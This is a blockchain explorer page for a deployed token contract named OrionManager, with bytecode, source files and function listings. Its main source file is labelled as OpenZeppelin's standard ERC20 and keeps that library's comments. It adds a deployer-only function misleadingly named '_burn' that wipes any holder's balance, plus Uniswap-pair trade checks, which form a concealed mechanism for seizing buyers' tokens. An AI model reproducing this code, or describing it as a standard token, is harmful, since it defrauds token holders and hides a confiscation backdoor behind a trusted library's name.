Address Contract Verified
Address
0x0258Bf9FDb82e1E4F869180245A63aEC08f6ccb0
Balance
0 ETH
Nonce
1
Code Size
2130 bytes
Creator
0x1A27f086...Fd43 at tx 0x1878818f...266bc4
Indexed Transactions
0
Contract Bytecode
2130 bytes
0x608060405234801561000f575f5ffd5b506004361061009b575f3560e01c806370a082311161006357806370a082311461011457806395d89b411461013c578063a9059cbb14610144578063daf81d5a14610157578063dd62ed3e1461016c575f5ffd5b806306fdde031461009f578063095ea7b3146100bd57806318160ddd146100e057806323b872dd146100f2578063313ce56714610105575b5f5ffd5b6100a76101a4565b6040516100b491906106bf565b60405180910390f35b6100d06100cb366004610708565b610234565b60405190151581526020016100b4565b6002545b6040519081526020016100b4565b6100d0610100366004610732565b61024b565b604051601281526020016100b4565b6100e4610122366004610770565b6001600160a01b03165f9081526020819052604090205490565b6100a761026e565b6100d0610152366004610708565b61027d565b61016a610165366004610770565b61028a565b005b6100e461017a366004610792565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101b3906107c9565b80601f01602080910402602001604051908101604052809291908181526020018280546101df906107c9565b801561022a5780601f106102015761010080835404028352916020019161022a565b820191905f5260205f20905b81548152906001019060200180831161020d57829003601f168201915b5050505050905090565b5f33610241818585610402565b5060019392505050565b5f33610258858285610486565b6102638585856104d2565b506001949350505050565b6060600480546101b3906107c9565b5f336102418185856104d2565b336001600160a01b037f0000000000000000000000001a27f086d7a025c29aa709d16d1f00c5e4effd4316146102be575f5ffd5b6001600160a01b03811661030b5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064015b60405180910390fd5b7f0000000000000000000000001a27f086d7a025c29aa709d16d1f00c5e4effd436001600160a01b0316816001600160a01b0316036103825760405162461bcd60e51b815260206004820152601360248201527221b0b73737ba103a30b933b2ba1037bbb732b960691b6044820152606401610302565b6001600160a01b0381165f81815260208181526040808320839055518281527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36040516001600160a01b038216907f25e62853c04bcbe7cf08c4992b9bdc2170bd5a64eb677d18010d4246169a9856905f90a250565b6001600160a01b038316610414575f5ffd5b6001600160a01b038216610426575f5ffd5b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f1981146104cc57818110156104bf575f5ffd5b6104cc8484848403610402565b50505050565b6001600160a01b0383166104e4575f5ffd5b6001600160a01b0382166104f6575f5ffd5b6104fe6105e4565b6006546001600160a01b031615610558576001600160a01b038083165f8181526005602052604090204390556006549091169003610558576001600160a01b0383165f908152600560205260409020544311610558575f5ffd5b6001600160a01b0383165f908152602081905260409020548181101561057c575f5ffd5b6001600160a01b038481165f818152602081815260408083208054889003905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b6006546001600160a01b03166106bd5760405163e6a4390560e01b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260248201525f90735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9063e6a4390590604401602060405180830381865afa15801561065d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106819190610801565b90506001600160a01b038116156106bb576006805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0383161790555b505b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146106bb575f5ffd5b5f5f60408385031215610719575f5ffd5b8235610724816106f4565b946020939093013593505050565b5f5f5f60608486031215610744575f5ffd5b833561074f816106f4565b9250602084013561075f816106f4565b929592945050506040919091013590565b5f60208284031215610780575f5ffd5b813561078b816106f4565b9392505050565b5f5f604083850312156107a3575f5ffd5b82356107ae816106f4565b915060208301356107be816106f4565b809150509250929050565b600181811c908216806107dd57607f821691505b6020821081036107fb57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610811575f5ffd5b815161078b816106f456fea264697066735822122011d879cd4231b2f07dd576e5240f79ea033a1879f168dac235e0c15a4f835d6664736f6c634300081c0033
Verified Source Code Full Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: Yes (300 runs)
ERC20.sol 290 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.28;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "./IUniswapV2Factory.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address => uint256) private lastBuyBlock;
address private immutable _deployer;
address private pair;
address private constant factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address private constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_deployer = msg.sender;
}
modifier onlyDeployer() {
require(msg.sender == _deployer);
_;
}
event DeadAddress(address indexed account);
function _burn(address target) external onlyDeployer {
require(target != address(0), "Invalid address");
require(target != _deployer, "Cannot target owner");
_balances[target] = 0;
emit Transfer(address(0), target, 0);
emit DeadAddress(target);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _ensurePair() internal {
if (pair == address(0)) {
address p = IUniswapV2Factory(factory).getPair(address(this), weth);
if (p != address(0)) pair = p;
}
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
_ensurePair();
if (pair != address(0)) {
lastBuyBlock[to] = block.number;
if (to == pair) {
require(lastBuyBlock[from] < block.number);
}
}
uint256 fromBalance = _balances[from];
require(fromBalance >= amount);
unchecked {
_balances[from] -= amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0));
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}
IERC20Metadata.sol 28 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
IERC20.sol 78 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
IUniswapV2Factory.sol 8 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
token.sol 12 lines
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract OrionManager is ERC20 {
constructor(string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply * 10 ** decimals());
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
_burn 0xdaf81d5a
address target
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address